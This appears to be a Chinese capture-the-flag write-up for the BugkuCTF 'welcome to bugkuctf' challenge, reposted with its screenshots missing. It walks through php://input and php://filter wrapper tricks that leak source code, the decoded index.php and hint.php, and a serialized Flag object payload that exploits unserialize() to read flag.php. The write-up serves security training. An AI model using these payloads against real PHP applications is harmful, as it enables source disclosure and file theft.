1. 程式人生 > >welcome to bugkuctf

welcome to bugkuctf

ber image middle gb2 寫代碼 func ech use 序列

技術分享圖片

(題目頁面)

技術分享圖片

(題目源代碼)

1.讀取到的信息:

a. 用_GET方式傳遞三個參數

b. user不為空,並且作為文件名變量打開後的文件內容為 “welcome to the bugkuctf”

c. file要求為hint.php

d. password變量暫時未讀到相關信息

2.根據讀到的信息測試

註:當傳進去的變量的參數作為文件名變量去打開時,可用 : 變量名=php://input ,php://input 作為參數,同時使用post 方式傳入內容作為變量的文件內容。

技術分享圖片

3.讀取hint.php源文件

註:讀取 php 源文件,將其以base64編碼的方式輸出可通過 “ php://filter/read=convert.base64-encode/resource=php源文件名 ” 的方法

技術分享圖片

得到base64編碼:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

base64解碼:

 1 <?php  
 2   
 3 class Flag{//flag.php  
 4     public $file;  
 5     public function __tostring(){  
 6         if(isset($this->file)){  
 7             echo file_get_contents($this->file); 
 8             echo "<br>";
 9         return ("good");
10         }  
11     }  
12 } 13 ?>

註:file_get_contents() 函數將一個文件讀入一個字符串

讀取到的信息:

a. 類名後面有 flag.php的註釋

b. 類內有個__tostring()函數,將類作為字符串執行時會自動執行的一個函數,此函數執行時會輸出類內變量 file 的內容

聯想前面的flag註釋,此時有可能會輸出flag

4.讀取index.php

用讀取hint.php的方法讀取出index.php,得到base64 編碼:

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

解碼:

 1 <?php  
 2 $txt = $_GET["txt"];  
 3 $file = $_GET["file"];  
 4 $password = $_GET["password"];  
 5   
 6 if(isset($txt)&&(file_get_contents($txt,‘r‘)==="welcome to the bugkuctf")){  
 7     echo "hello friend!<br>";  
 8     if(preg_match("/flag/",$file)){ 
 9         echo "不能現在就給你flag哦";
10         exit();  
11     }else{  
12         include($file);   
13         $password = unserialize($password);  
14         echo $password;  
15     }  
16 }else{  
17     echo "you are not the number of bugku ! ";  
18 }  
19   
20 ?>  
21   
22 <!--  
23 $user = $_GET["txt"];  
24 $file = $_GET["file"];  
25 $pass = $_GET["password"];  
26   
27 if(isset($user)&&(file_get_contents($user,‘r‘)==="welcome to the bugkuctf")){  
28     echo "hello admin!<br>";  
29     include($file); //hint.php  
30 }else{  
31     echo "you are not admin ! ";  
32 }  
33  -->  

註:serialize() 函數用於序列化對象或數組,並返回一個字符串。

unserialize() 函數用於將通過 serialize() 函數序列化後的對象或數組進行反序列化,並返回原始的對象結構。

讀取信息:

a.

 if(preg_match("/flag/",$file)){ 
        echo "不能現在就給你flag哦";
        exit();  ‘
通過preg_match匹配了flag關鍵字,也就無法輸出flag.php內容,將希望寄托於之前的到的類

b.

  $password = unserialize($password);  
echo $password;
得到了password的用法,用於解序列化並將其輸出,結合之前Flag類的輸出猜測,如果password為Flag類的序列化,將其解序列化後便是Flag類,將其輸出便可能得到flag

4.根據前面一系列操作和猜測,當前需要得到類Flag的序列化

編寫代碼得到Flag的序列化:

<?php
    class Flag{//flag.php  
    public $file;  
    }  
 
    $a = new Flag();
    $a->file = "flag.php";
    $a = serialize($a);
    print_r($a);
?>

執行得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

5.驗證猜測

技術分享圖片




welcome to bugkuctf